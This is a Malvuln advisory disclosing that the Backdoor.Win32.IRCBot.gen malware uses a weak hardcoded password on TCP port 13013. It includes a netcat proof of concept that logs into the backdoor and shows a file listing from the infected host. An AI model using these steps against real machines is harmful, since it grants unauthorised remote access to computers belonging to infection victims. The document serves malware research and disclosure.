Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/bcfc89ca07bd0ad7b9396a0815c9fc39.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.IRCBot.gen
Vulnerability: Hardcoded Weak Password
Description: The malware listens on TCP port 13013. Authentication is required for remote user access. However, the password "sexjerx" is weak and hardcoded in plaintext within the executable.
Type: PE32
MD5: bcfc89ca07bd0ad7b9396a0815c9fc39
Vuln ID: MVID-2021-0317
Dropped files: winvxd.exe
Disclosure: 08/11/2021


Exploit/PoC:
nc64.exe x.x.x.x 13013
pwd sexjerx sexjerx
psychward revised 0.1, awaiting your command
DIR
<.>
<..>
<0409>
12520437.cpx                   (2151)
12520850.cpx                   (2233)
@AudioToastIcon.png            (308)
@EnrollmentToastIcon.png       (330)
@VpnToastIcon.png              (404)
@WirelessDisplayToast.png      (691)
aadauthhelper.dll              (154624)
aadtb.dll                      (954880)
AboveLockAppHost.dll           (252928)
accessibilitycpl.dll           (3804160)
accountaccessor.dll            (215552)
AccountsRt.dll                 (363520)
AcGenral.dll                   (2393600)
AcLayers.dll                   (372224)
acledit.dll                    (9216)
aclui.dll                      (5388800)
acppage.dll                    (68096)
AcSpecfc.dll                   (471552)
ActionCenter.dll               (261632)
ActionCenterCPL.dll            (541184)
ActivationClient.dll           (30720)
...

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